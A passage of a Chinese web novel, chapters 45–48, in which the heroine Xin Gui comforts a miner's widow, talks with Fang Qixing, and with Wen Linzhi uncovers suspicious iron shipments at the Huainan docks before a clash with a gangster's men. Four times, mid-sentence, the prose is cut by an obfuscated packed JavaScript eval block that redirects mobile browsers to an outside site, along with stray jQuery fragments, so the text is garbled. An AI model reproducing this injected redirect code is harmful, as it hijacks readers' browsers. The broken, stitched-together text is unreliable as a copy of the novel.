“他们买这么多矿做什么?”辛圭问。 妇人摇摇头:“不知道。我们这些人,只管干活,哪里知道那么多。”她低头看着孩子,忽然苦笑了一下:“姑娘,你是好人,心善,我跟你说句实在话。” 她抬起头,看着辛圭,眼睛里有一种经过太多苦难后的平静:“可这世道,光有善心不够,得有本事护住自己,才护得住别人。我男人活着的时候,也是个心善的人,不然不会自己出去做工,他不愿意争。矿上有人受伤,他总是第一个去帮忙,可是有什么用呢?他帮别人,最后塌方的时候,却没有善帮得了他。” 她低下头,轻轻拍着孩子的背:“他要是活着,肯定也会像姑娘这样,见不得别人受苦。可他如今死了,留下我们娘俩,什么都没有。” 辛圭沉默了很久,她听懂了妇人的意思。 善良是好的,但光有善良是不够的。否则,善良就只是一个美好的意愿,在这个残酷的世界里,什么都改变不了。 甚至在妇人的口中,对“善良”这个词是有怨怼的。 【实验手册·新世界感官记录021:善良。 大部分人都是善良的,但善良也容易滋生不满。但这不是善良的错,是想要成为更好的人的辛苦。】 辛圭没多说什么,应道:“我记住了。” 妇人怔了怔,又忽然笑了,那笑容里带着几分欣慰:“姑娘还年轻,以后的路长着呢,又有福气,日后定然能嫁个好归处,是我多话了” 【实验手册·新世界感官记录022:嫁人。 现象:妇人嫁人后与娘家分割,日子没有着落,但她给予其他女性的祝福竟然也是嫁人。而且对于嫁人的对象是好坏之分,而不是相爱与否。 猜测:嫁人是新世界女性的普遍出路,疑似被洗脑。 总结:嫁人这个词在新世界的定义只是表象。】 说罢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16983243|190874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,妇人从怀里摸出一块木牌,递给辛圭。木头粗糙,边角却被磨得圆润,上面的图案也有些模糊,像是一朵花,又像是一株草。 “这是什么?”辛圭问。 “是我男人留下的。”妇人说:“矿上的人都有这么一块,说是信物。以后要是遇到矿上出来的人,给他们看看,能帮上忙。” 辛圭有些犹豫,在她看来,这东西自己不应该拿。日后要是这妇人有需要,也许有人愿意帮衬。 “拿着。”那妇人将木牌塞到辛圭手中:“我没有银子可以还,日后也不知道能不能再见,无法报答恩情。姑娘要是能收下这块木牌,我心里多少好过些。” 辛圭只得接过木牌:“谢谢。” 她站起身,走出医馆,又回头看了一眼妇人和她怀里的孩子。 “姑娘,好人是有好报的,我相信。”妇人冲她点了点头,算作道别。 走了没几步,辛圭听见身后传来方启星的声音:“你在这儿呢。” 辛圭回头,看见方启星站在医馆外不远处,黎明的光很温和,但照得他的神色有些复杂。 “你什么时候来的?”辛圭问道。 “刚才。”他说,顿了顿,又改口:“其实从你带那个妇人进医馆的时候,我就跟着了。”方启星没有看她,目光落在街道上:“我看见你付钱,看见你坐在那儿和她说话。” 他声音有些闷:“你怎么……对谁都这么好?” 辛圭想了想,回答:“我没有对谁都好。我只是觉得她需要帮助,而我恰好可以。” “就这么简单?” “就这么简单。” 方启星沉默了。晨风掠过,医馆的招牌晃了晃,在地上投下长长的影子。 过了一会儿,方启星忽然开口:“成圭,你知道吗?你和我见过的人都不一样。” 他还是没看她,目光又投向远方,像是在看什么很远很远,难以抓住的东西。 “我从小……身边的人都对我很好,但是是有原因的。因为我爹,因为我家,因为我能给他们带来什么。”他的声音很轻:“我习惯了,我以为所有人都是这样的。” 他终于转过头来,看着辛圭,眼睛里有一种辛圭看不太懂的光。“但你不一样。你对那个妇人好,你对陈砚月好,你对赵三好,你甚至对柿子也好,但他们什么都给不了你。你对我好……” 他顿住了,如鲠在喉。 他能给她什么吗?不能。至少是没有。他能帮她的,但是他没做到。 “我对你好吗?”辛圭认真发问。 方启星愣了一下,然后笑了,那笑容有些苦涩。“你不觉得吗?你愿意听我说话,愿意吃我热的桂花糕,愿意……”他低下头:“愿意等我。” “等你告诉我真相,这也算对你好吗?”辛圭问。 方启星的身子僵硬,“你……”他的声音有些艰涩:“你知道我有事情瞒着你?” “知道。”辛圭语气很平静:“从很早就知道了。” 46. 第 46 章 方启星预备过许多种被逼问的场景,甚至连解释的话都想好了,却没料到会是这种轻描淡写的“我知道了”。 “成圭,我……”他嗓子发紧:“我不是故意要瞒着你的。我只是……” “你不用现在说。”辛圭打断他。 方启星抬头,眼中是惊讶,也有茫然。 “刚才那个妇人告诉我,每个人都有背负的东西。”辛圭说:“你也有。我能看出来。但你还没准备好告诉我,对不对?” 方启星张了张嘴,半晌,喉咙里只挤出一句:“……对不起。” “你不用跟我道歉。”辛圭轻轻摇了摇头:“如果是与我相关的刻意隐瞒,那并非是靠一句对不起就能解决的。” 方启星说不出话来。 “但我能看出来你有难处。”辛圭慢慢说:“所以我可以等。” 她抬头看向天边隐约泛白的云,晨光还没彻底翻过山脊,只在屋檐边缘挂了一线淡淡的亮。 “方启星。”她忽然叫他:“你记得我们第一次见面吗?” 方启星愣了一下:“记得。在京城成记行门口,你要招长随。” “那时候我觉得你很奇怪。”辛圭说:“你笑得很大声,说话很多,情绪场里的星星乱七八糟。” “什么?”方启星没听懂什么是情绪场,只听到了后半句:“星星?” “星星很亮。”辛圭继续说道:“虽然乱七八糟的,但是很亮。我那时候想,这个人好像一颗星星。” 方启星的心跳猛地一颤。 “我选你当我的长随,”辛圭转回头,看向他:“不仅仅是因为你有能力,更是因为我想离这颗星星近一点。” 说起来会显得矫情,但方启星却切实地感觉到自己的眼眶在发烫发热,没有任何预兆的。 他想起自己一开始接近她,是陆居平的主意。他带着目的来,可她却说,他像一颗星星。 “成圭……”他开口,声音有点发抖。 “你不用现在说,我可以等。”辛圭又一次按住了他近乎脱口而出的话头:“冲动之下,并不是一个好的选择。” 她深吸一口气,往客栈方向走了两步,又回头看他:“但是方启星,我等你,不是因为我不在意真相,是因为我觉得,你值得我等。” 她说完,转身离开。 方启星看着她的身影消失在门后,只觉得胸口被狠狠撞了一下。 值得。 她说他值得她等。 这两个字很轻,压在心上却重得几乎叫人喘不过气。 他抬头看向天边渐亮的云,心里第一次有了个清清楚楚的念头:等到了淮南,他要亲口把所有事都告诉她,一件不留。 不单因为她有资格知道真相,也因为他想成为一个配得上“值得”这两个字的人。 辛圭在回去的路上认真记录: 【样本005情绪观察·重要记录: 事件:单独谈话。 观察:1.他说我“和他见过的人都不一样”。 2.在提到他人对他的好并非因为他本人时,情绪波动明显。 3.当提及“值得”时,星星比任何时候都亮。 自我检测:我提到了情绪场,此言语并不在计划之内,怀疑也受到了对方的情绪影响。 补充:再次确定情绪是一种隐形力场,会在彼此之间产生互动和呼应。】 回到客栈时,院子里成记行的车队已经在等着了。还有青云岭上遇到的那一拨,只是衣装更加收敛,站在一排时仍然自带一种“此路是我开”的气势。 用过早饭,车马就绪,一行人离开小镇。 温麟趾扶辛圭上马车时,低声道:“这些人的脚步和站位,不像普通镖局。” “像什么?”辛圭问。 “像久经训练的亲兵。”他稍偏了下头,让出身后的那队人。 对方两人在前开道,四人分立车两侧,最后再拖两人垫后,不像迷路,更不似要找人,反倒像是护着什么贵重东西。 温麟趾言简意赅地给出结论:“至少,他们该找的人,找到了。” 辛圭心领神会,没有多问。 翻过青云岭,视野便陡然开阔。淮南的冬天湿润,田埂间还有成片淡淡的绿意,水渠纵横,远处白船似的鸟儿横空略过,鸣叫数声。 辛圭掀开车帘,看久了,忍不住轻声道:“和临余不一样。” “那当然。”方启星听见她的话,得意地扬了扬下巴:“淮南是鱼米之乡,比你们京城强多了。” “你们?”辛圭抓住细节,有些疑惑地看向他。 方启星连忙改口:“我是说你们,是京城来的人。” 明明说清楚只是个口癖便罢,但方启星思来想去,反倒更觉得心虚,装模作样咳了几声,又将话题扯向他处。 辛圭看在眼里,突然觉得逗弄方启星也是一件格外有趣的事。 傍晚时分,淮南城终于出现在视野当中。 城墙比临余高了整整一截,护城河宽得像一条小江,河面上船舫交错,街两侧店铺鳞次栉比,人流如织,吆喝声一浪接一浪。 “到了。”方启星转头看向辛圭,唇动了动:“成圭,我……” 他话还没说完,前头领队的人策马到了马车旁,方启星掀开帘子,对方在他耳边低声说了几句。 方启星把方才那句话咽回去,抬头看了眼天色:“前头人多,先进城,去成记行分号,别在门口堵着。” 马车排队过城门。守兵例行检查了一眼车厢,看见成记行的号旗,便顺顺当当地放行。那队人马也十分有默契地散开,混在队伍里,把车队护在中间。 进城后,街道更宽,人声更杂。 卖糖葫芦的、吆喝绸缎新货的、邀客进茶馆的声音混在一处,远处几座高墙大院的屋檐压着街巷延展开来,不比京城的繁华少。 “成记行在前面第三个街口拐进去。”方启星提醒车夫,又压低声音对辛圭道:“这里的人嘴碎,你要是听见什么闲话,先别往心里去。” “什么闲话?”辛圭淡淡问。 “比如淮南有些人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17015550|190874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”他顿了顿,避开她的目光:“你明明不认识他们,他们却喜欢乱讲。” 辛圭默默在心中记录:【样本005信息观察:样本005有意进行信息隔离。 推测:自身与当地关联强大,暂不愿让我从旁观者转变为知情者。】 不过辛圭并不十分在意,毕竟柳掌柜曾说过:不要太把男人当回事。 只不过为什么柳掌柜会这么说,辛圭暂时还想不明白。 不多时,马车便在一处门楣上写着“成记行”的铺子前停下。 分号掌柜接到信儿,早已候在门口,见人下车,快步迎上来行礼:“小姐一路辛苦,屋子都收拾好了。淮南的事情,您只管吩咐。” 辛圭先还礼,语气平稳:“先住下,再说事。” 她侧身看向方启星。 方启星刚同那队人的领头人交代完,领头人抱拳应是,带着人快速有序地融进街巷。但其中仍有两三人在附近晃荡,若不是之前和他们一路同来,甚至会将其认为是普通路人。 “你的人?”辛圭问。 “也不算。”方启星抿了下唇,知道再也难硬装下去,便道:“淮南这地方,有人帮着咱们,不全是坏事。”他笑了一下,眼底却有一丝冷意:“要是钱三爷那边有动静,咱们不至于没准备。” 辛圭很平静:“他不动,我们也是要找他的。” 方启星怔了一下,随即笑起来:“成圭,你这话,比我还像地头蛇。” “因为我不想再看到秦嫂那样的人。”辛圭说。 一层一层地被伤害被盘剥,钱三爷上面还有人,人上面还有人,这世界到处都是用人的躯体垒起来的高塔。 当夜,淮南分号的内院灯火通明。 辛圭把临余带来的票据、路线、消息一一摊开,淮南的地图压在中间。码头的位置、听说的铁矿、海商常泊的几个港口,还有钱三爷可能插手的几处关节,都被她圈成一个个小小的圆。 温麟趾站在她身旁,同她一起仔细端看,眉头紧蹙,情绪场中的古井泛起阵阵涟漪。 “钱三爷不会甘心。”方启星倚在窗边,盯着地图:“他在码头吃惯了两头的油水,你在临余当着那么多人拆他台,他这口气咽不下去。” “所以他会动。”辛圭说:“他动的时候,我们就能看到更多东西。” “钱三爷算什么,何必便宜他。”方启星侧头看她。 辛圭摇了摇头:“我只是成记行的小姐,带了一个掌柜两个长随。” 方启星嘴角微微扬起,很快,他又将笑意收敛:“行,那就等他先来闹一场。” 辛圭又看向温麟趾,温麟趾略略向她点头。 辛圭觉得这感觉很奇怪,明明他不知道自己在想什么,自己也不知道他是对什么事情点头,但就是隐隐约约感觉两个人在想的是同一件事。 【自我状态检测:自己是真的以为了解对方的想法,还仅仅只是对他的点头抱有幻想? 备注:铁矿、武器、码头、海商、钱三爷,甚至有官,似乎正在彼此呼应。】 47. 第 47 章 清晨的淮南城笼在一层薄雾之中,空气湿漉漉的,带着水汽与鱼腥味。 成记行的淮南分号已经开始忙碌。伙计们抬着木箱穿院而过,掌柜在前厅核看名帖,茶房焙着新茶,火声噼啪作响。一切都有条不紊,紧而不乱。 辛圭换了一身粗布衣裳,发髻简单挽起,只插了一根素木簪。看上去就如寻常人家的姑娘,不打眼,不招摇。 温麟趾站在院中等她。他也换了身短褐,腰间别着一把不起眼的短刀。收敛了往日的冷峻后,显得与往常有些不同,多了一股柔和的年轻书生气,而这股气质又柔软了他的棱角。 他将一张折好的纸递给辛圭:“你昨夜圈的几个位置,我去大致打听了一下。其中两个常出事,应该是钱三爷的地方。另外两个,则是海商落脚的地方。” 辛圭接过来,看了一眼,折好收起。“方启星呢?” “他家里来人寻他,说他父亲身子不爽利,让他回去一趟。”温麟趾语气平淡:“他不太情愿。” “父亲身体不好,确实应该回去。”辛圭有些好奇,毕竟方启星并非会听温子修话的人:“你是怎么说服他的?” “今日去码头,人少更合适。他太显眼。” 辛圭点点头,这确实是方启星会听进去的理由。 两人出了分号,沿着街道往城东的淮南码头走去。 淮南的码头在城东,沿河岸铺开。越靠近水边,人声越杂,挑担的、推车的、牵骡子的挤在一处,吆喝声此起彼伏。一座靠水的城,最热闹的地方未必是在城中,而往往在水边。 辛圭走在人群里,目光却没有落在附近的摊贩上,而是顺着河道缓缓移动。 “那边。”温麟趾声音很轻,却很清晰。 她顺着他的目光看去,河道上停着几十艘大小不一的船,近处是乌篷小船,远处是吃水极深的大船,桅杆高耸,船身漆着各色号旗。 “那几艘是海商的船。”温麟趾低声说:“载得很重。” “里面装的是铁?”她问。 “多半是。” 码头上,搬运工正往船上抬箱。木箱沉得惊人,几个人合力才勉强搬动一个。 “好重的箱子。”辛圭看了一会儿,心口慢慢往下沉。 铁、海商、码头。这些东西串在一起,让她想起了在矿场的日子。好像这些箱子里装的并非是铁,而是某种更为沉重的东西——比如,人命。 原来那些催着矿工卖命的东西,最后都到了这里。 “我去问问。”她对温麟趾说道。 温麟趾没有阻拦她,只是不远不近的看着。 码头外缘的地方有个茶摊,几个脚夫蹲在一旁歇脚,粗碗里茶色浑浊,热气混着汗味往上冒。辛圭将几枚铜板放在桌角,语气自然:“大哥,讨碗茶喝。我跟掌柜出来进货,第一次来淮南。” 茶摊老板瞥她一眼,觉得好笑,哪里有人一上来就把自己的情况报出来的。他端了一碗茶,袖子一抹,铜钱就进了袋囊。 辛圭在心里将【光忆星人格稳定手册·人际篇】快速地过了一遍,她觉得自己的开头还不错,毕竟有一条写的是“第一面的诚恳非常重要”。虽然她不能真的诚恳,但可以通过堆叠信息自报家门的方法,让对方觉得自己诚恳。 下一步,应该是【开诚布公】。但显然,她无法开诚布公,只能另辟蹊径。 她抿了一口茶,指向远处那几艘大船:“那边箱子看着很重,里面难道是铁?” 话一出口,脚夫们的动作慢了半拍。茶水从壶口滴落,在木纹斑驳的桌面上晕出一小片深色。 “姑娘问这个做什么?”老板仍旧客气,但语气也有些冷:“进货就进货,哪有一上来就打听的?” “我只是……”辛圭觉察到不对,连忙补救:“怕被人骗。” 旁边一个脚夫抬起头:“姑娘,这茶摊儿可不是你打听事儿的地方。这船上运什么,押什么,都是官府盖了印的。别说是你,就算是这淮南侯,都管不了。” 另一个脚夫嗤笑一声:“装得倒挺像。姑娘,这地方,不兴你这么问。” 视线一瞬间聚拢过来,如芒在刺。辛圭张了张嘴,却发现自己找不到一个足够合适的说辞,光忆星的人际交往指南失效了。 就在这时,一只手从侧后伸来,稳稳扣住辛圭的肩,将她带向一旁。力道不重,却不容拒绝。 “她只是好奇。”温麟趾的声音响起,低低的,带着一丝不耐:“不是混江湖的,自然不懂那些弯弯绕绕。” 辛圭被他带得侧了半步,险些撞上他的胸口。 下一瞬,温麟趾抬手,从她发边拈下一丝雾水,语气极其自然:“出门前你可答应我了,不会看见新鲜就问旁人的。” 他的手臂顺势落在她肩上,动作熟稔得不似临时起意。 “我媳妇儿。”他看向茶摊的几个人,说得随意:“年前带她出来玩玩。” 茶摊前安静了一瞬。 “媳妇儿?”有人狐疑地看向辛圭,目光又移到温麟趾身上。 辛圭喉咙一紧,本能地想否认,却在抬眼的瞬间,对上温麟趾侧过来的目光。他的眼神在看向自己的时候很温柔,坚冰化去,只留一汪春水。 她垂下眼,耳尖慢慢红了,低声含糊一句:“……我没见过嘛。” 这句话落下,气氛竟松了。 一个脚夫上下打量两人,不得不说,两人的样貌确实般配,便开起了玩笑:“你媳妇儿?看这样子还没过门吧?怕不是瞒着家里偷溜出来?” 辛圭嘴唇颤颤,就看见温麟趾在旁掏了些铜板放在桌上:“还请诸位帮我保密,这顿茶我请。” 老板看在铜板的面子上,语气软下来,反倒有些和蔼可亲的味道:“姑娘,码头的事儿少打听,说不准在哪儿就被人盯上了。” 温麟趾没再多说,手臂一带,将辛圭环进人潮。走出十来步,喧闹声被甩在身后,温麟趾这才松开手。 却没有完全松。 他的手从她肩上移开,却顺势勾住了她袖口一角,像是随意,但指尖的弯度却在表明并非如此。 “我不懂的东西还是太多了。”辛圭叹了口气,自责的说道。 温麟趾目视前方,完全没有责怪之意:“至少我们知道了一件事。虽然官府开了铁矿,也同意小份额出售铁矿,但显然,海商的购入数量远超于制定的合同数额。否则他们不会如此小心。小心到,连个脚夫都生怕惹火上身。” “谢谢你。”辛圭又回头看了眼那大船:“你演技很好。” 温麟趾快速地眨了眨眼睛:“你也不差。很像。” “像什么?” 温麟趾没有回答,只是道:“走慢点。” 他说这话的时候,手仍勾着她的袖角,并未放开。 辛圭顺着他的步子慢慢走,肩头还留着方才的温度,薄薄一层,却散不掉。 两人走了几步,辛圭忽然问:“如果我没反应过来呢?” “我会直接带你走。”温麟趾很干脆地回答。 “为什么?” 温麟趾想了想,说道:“解释是说给不重要的人听的。” 辛圭疑惑地歪了下头,她一时没能理清这句话的逻辑,只觉得有种奇怪的稳定感。 她曾经怀疑过光忆星的“稳定”,虽然在关键时刻自己仍然会抓着这个词给自己打气,让自己稳定,但此时此刻,不一样。 这种稳定感不是安全,不是四平八稳,更不是一切都像厚厚积着的雪,表面上看平缓舒展,实则下面蛰伏着千百万颗跳动的心。 这份稳定感,是被一个人默认,和自己站在同一边。 就比如,在她向艾谷诉说自己做梦的苦恼时,她所期望的也只是有人和自己站在同一边,哪怕只是两句安慰的话。 做梦,从来不是她不稳定的源泉,没有人站在自己身旁才是。 辛圭想着,目光却被码头角落的一个脚夫所吸引。对方身上有伤,走起路来有些颠簸,但仍奋力搬运。他腰间挂着一块木牌,随着动作轻轻晃动。 形状、边角、纹路,都和秦嫂给她的那块一模一样。 几乎是立刻,温麟趾觉察到了她的变化,顺着她的目光看去,低声问道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17020829|190874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “怎么了?” 她没有立刻回答,只是往他身边靠近了半步。 “我可能,有办法问出来码头的一些事情了。”她低声道。 温麟趾感觉到她的胳膊不经意间碰到了自己的手,他“嗯”了一声,手指微微收紧,突然觉得自己站得格外板正僵硬,像一根绷紧的弦。 辛圭向着那名脚夫刚走出几步,身后便传来一阵喧哗。 “让开让开!都让开!”一队打手模样的人从街巷那头快步过来,横冲直撞,行人纷纷避让。 辛圭本能地往旁边退了一步,却被温麟趾拉住了手腕。 “淮南还真是热闹。”他略带讥讽地说:“是钱三爷的人。” 辛圭仔细看去,却发现为首那人正是他们在临余码头遇上的那名短褂男人。 “啧啧。”边上有行人小声嘀咕:“这铁拳张又要干什么?有钱三爷做靠山,到处耀武扬威的。” “他比我们先回淮南。”辛圭低声说道。 “他走水路,早早回来报信,如今恐怕是冲我们来的。"温麟趾的声音很平静:“昨晚我们一到淮南,他应该就得到消息了。” 话音刚落,铁拳张已经看见了辛圭二人。 他的眼睛一亮,大步走过来,原本在临余时还收敛几分的恶意没了束缚,在自认的地盘便随意地释放出来:“哟,这不是成记行的李大小姐吗?怎么屈尊降贵地来我们淮南码头了?” 辛圭没有躲避,迎着他的目光:“码头是公共的地方,我想来就来,需要向你报备吗?” 铁拳张的笑容僵了一瞬,随即更盛了几分:“李小姐好大的口气。不过您可能不知道,这淮南码头是谁的地盘。三爷可一直惦记着你呢。” “谁的地盘?”辛圭复习了一下脑中的知识:“不是皇上的地盘吗?” 铁拳张的脸色沉下来:“李小姐,您这顶帽子扣得可真大。但你觉得皇上有空管咱们的事儿吗?您仗着成记行的名头,在临余坏了三爷的生意,这笔账,总得算一算。” 他说着,往前逼近一步,身后的打手们也跟着围了上来。 码头上的人纷纷躲避,温麟趾不动声色地挡在辛圭身前,手已经按在腰间的短刀之上。 “你想怎么算?”辛圭的声音依然很平静。 铁拳张嘿嘿一笑:“不怎么算,就是请李小姐去见见三爷,当面把话说清楚。三爷说了,只要李小姐肯赔个不是,再把临余那批货的损失补上,这事儿就算揭过去了。” “赔不是?补损失?”辛圭笑了:“他不来找我赔不是,反倒让我去给他赔不是?” 【新世界感官记录022:关于笑 原来人不仅仅是在开心的时候会笑,被气到无语的时候也会笑。 推测:表情并非单纯表达情绪。】 闻言,铁拳张的脸彻底黑了下来:“敬酒不吃吃罚酒,可别怪兄弟们不客气。” 他一挥手,身后的打手们立刻围了上来。 温麟趾动了。 他的动作很快,第一个打手的手腕被反扭,兵器脱手;第二个打手还没来得及挥动木棍,就被一掌劈在脖颈上,整个人软了下去。 前后不过两息的功夫,冲在最前面的两个打手已经倒在了地上,捂着手腕哀嚎。 “再近一步,就不只是这样了。”温麟趾的声音很冷。 辛圭站在他身后,看着他的背影,心里忽然涌起一种奇怪的感觉。他站在那里,像一堵墙,把所有的危险都挡在外面。 【样本004行为观察·补充: 出手时机精准,动作干净,没有多余的招式。 推测:受过专业训练,且实战经验丰富。】 铁拳张的脸色变了。他没想到这个长随的身手竟然这么厉害。 “好小子,有两下子。”他咬牙切齿:“不过你以为就凭你一个人,能护得住她?” 他又一挥手,余下的打手们再次围了上来,这次他们都抽出了兵刃,寒光在阳光下明晃晃的,闪的人心凉。 就在这时,一个声音从远处传来—— “住手!” 48. 第 48 章 “住手!” 断喝自人潮外围传来,引来人群纷纷回首,似一块石头砸入池水中。 一名穿着差服的中年人走来。眉骨高,眼睛细,脸上常年经受日晒,带出一股子冷硬。 他的目光扫过地上躺着的两个打手身上,又挪向铁拳张,最后落到温麟趾按在刀柄的手上。 “周捕头。”铁拳张看见来人,老大不情愿地收了几分气焰,勉强拱手:“这儿不过是点误会,何必劳您亲自跑一趟。” “误会?”周捕头冷笑:“大白天的,在码头上聚众动手,可真有你的啊。” 他身后两名衙役上前,将方才被温麟趾放倒的打手扶了起来。有人手腕已经肿起,碰一下就龇牙咧嘴。 周捕头又扭头看向温麟趾:“好身手,敢问你是……” 温麟趾松开刀柄,让对方看清自己并未拔刀。 辛圭向前半步,挡在温麟趾身前,解释道:“我们只是自保。” 周捕头这才认真打量她:粗布衣裳、素木簪、面庞白净,看上去娇滴滴的,但语气和眼神都显得冷静。 “姑娘又是哪儿的?”周捕头问道。 “我们是成记行的。”辛圭老实答道。 周捕头眯了下眼睛:“成记行的人,怎么和码头的人起了冲突?” 铁拳张冷哼一声:“周捕头,这位可是成记行的大小姐。咱们三爷呢,这不是想着和成记行是旧交,见她来了淮南,便想请她去喝碗茶,没想到。”他下巴一抬,指向方才被教训的两个打手,“他们倒来了这么一出。” 周捕头对铁拳张的说法并不买账,他眉心微蹙:“这么多人拿枪带棍的,是请人还是逼人?” 铁拳张笑得一脸无辜:“周捕头,这事儿说来话长。要不是她在临余坏了三爷的买卖,何至于搞出这么一出,还劳您大驾?我们三爷只是想把临余那笔账算明白。” 辛圭淡淡看他一眼:“临余的账,在临余我们已经说得清楚。钱三爷若有异议,尽可以去找官,不必将我拦在码头。” 铁拳张脸色一沉,意有所指:“官?姑娘,官也是要吃饭的。” 周捕头沉默看了铁拳张许久,慢慢说道:“这里是淮南城,码头并非你们私设的地盘。” 铁拳张扯了扯嘴角:“周捕头这话说的,咱们不都是坏男人嘛,当然是为了淮南好。只是……”他拖长了声调:“这淮南码头的水有多深,您总比我们更清楚。” 一时间,空气里像被什么细细绞紧,周围的人群听见这句,也俱沉默了下去。 周捕头心中已经打定主意,像是没听见,转身对辛圭说道:“姑娘,烦您卖我个面子,今日你们先回去。再闹下去,谁都不好看。” 铁拳张眼见周捕头要给辛圭撑腰,十分不服气:“周捕——” 周捕头眼神一冷:“你若觉得不服,我也可以带你回官府,问一问你在码头收的都是什么钱。” 铁拳张嘴一合,脸色青白交错。 他知道,大部分时间官府对钱三爷的人都是情愿睁一只眼闭一只眼,但要是真翻脸,自己也要先受点罪。 他不愿意受罪,便先低头,皮笑肉不笑地拱了拱手:“既然周捕头这么说,那就这么办,权当给周捕头一个面子。三爷那边,我自会禀明。” 他又侧过脸,盯着辛圭:“李大小姐,三爷的茶,一杯总归是要喝的。”说完,他一甩袖子,带着人离开。 人群像被拨开的水,又缓缓合拢,只留窃窃私语如虫鸣,想要仔细听,偏又听不出什么。 “走吧。”周捕头收回视线,叹了口气:“姑娘先回成记行。码头的是非,并非一句两句就能讲明白的。” 他说罢,往旁站了一步,离众人远了些,压低声音补了一句:“有人托我照应你。可我只能护得了一时,若是真有什么事儿,他们可不听劝。” 辛圭心中一动:“是谁托的?” 周捕头摇了摇头,眼皮都没抬:“总不是钱三爷。” 说完,他袖子一拂,冲辛圭和温麟趾拱手:“告辞。” 很快,码头又恢复了刚才的热闹,仿佛什么事儿都没发生过。只有那几艘大船,静静地蛰伏在水面,像几只太撑太饱的怪兽。 而那名腰间挂着木牌的脚夫也已经不见了身影。 两人逆着人流往外走,喧哗声渐渐被甩在身后,只剩河水拍岸的声响。雾气被阳光一点点劈开,水面衬着光,也开始晃人眼睛。 温麟趾这才彻底松开了她的袖口,取而代之的,是与她保持着一臂不到的距离,似远似近。 “刚才想到什么法子问了?”他开口问道。 辛圭将之前自己与秦嫂的交流大致说了,又补充道:“我是看刚才有个脚夫,腰上挂着一样的木牌。秦嫂说有木牌的人会互相照应,我想若是能问问他,或许能得到答案。” 温麟趾看着她的侧脸,柔声道:“现在不行。” “我知道。”辛圭点了点头:“刚才钱三爷的人已经见过我们了,要是我们再去找这名脚夫,和他有什么接触,反倒会害了他。” “你学得很快。”身旁有人走过,温麟趾将辛圭往自己的方向拉了下,“但线索不能放过,所以我们要选钱三爷看不着的地方。” 两人回到成记行分号,淮南分号的张掌柜一见他们进门,先把人从头到脚仔仔细细打量了一遍,这才松了口气,转身一拍柜台:“吓死我了,刚才还有伙计跑来说小姐您在码头和铁拳张起了冲突。” 他嘴上说着,动作却半点不慢,先让人去关门,再吩咐小伙计:“今日不接生客,老客照旧,谁问就说今日看账。” 待厅里暂时清净下来,张掌柜才压低声音:“钱三爷的人,在码头拦小姐?” “算是见面礼。”辛圭道:“不过,他的人没占到便宜。” 温麟趾在一旁默默坐下,把发生的经过挑重点说了一遍,尤其是海商的船、铁箱、脚夫的反应。 张掌柜听完,又重重地叹了口气:“钱三爷是今年才霸占了码头,淮南的各个商行有苦说不出,官也告了,但没用,反倒是各打三十大板。这事儿我也和柳掌柜去过信,说过,她也是怕我难做。咱们成记 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17027260|190874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行各处都有,在这点上,反倒不如人家独门独户来的潇洒轻便。” “据我所知,淮南一直如此,只是现今钱三爷格外霸道。”温麟趾说道:“有好处,钱多货活路子野。坏处也是这三样。” 张掌柜点头:“是这么一说,不然咱们早早离了淮南不就成了?” “铁价最近如何?”辛圭沉吟片刻,突然问道。 “往上窜。”张掌柜没看账,直接报出一个数字:“比三个月前高了两成还多。前阵子有几家商行想屯一批,结果被官里的人压了回去,说军需在前头,民用往后排。” 辛圭疑惑:“可是这码头上,不是有的是铁?” 张掌柜又往门外看了眼,声音压得更低:“给海商的那些,供货的是朝廷开放的那几处铁矿,海商给的价格高,而且朝廷是有定额的。” 辛圭和温麟趾对视一眼,又问道:“有多高?” “高出市价三倍。”张掌柜答:“不过他们是要往海外运,倒也不会影响什么,这些铁矿主便豁了命地抢先供货,谁都怕这天大的便宜落不到自己手上。” 辛圭又问张掌柜:“就没人怀疑,这海商收到的铁矿,远比朝廷的定额多吗?” 张掌柜苦笑:“小姐,这事儿可就不兴问了。他们有胆子,还有钱三爷帮他们盘着码头。若是不对劲儿,早就有人戳破了,可偏生没有,是为何?” 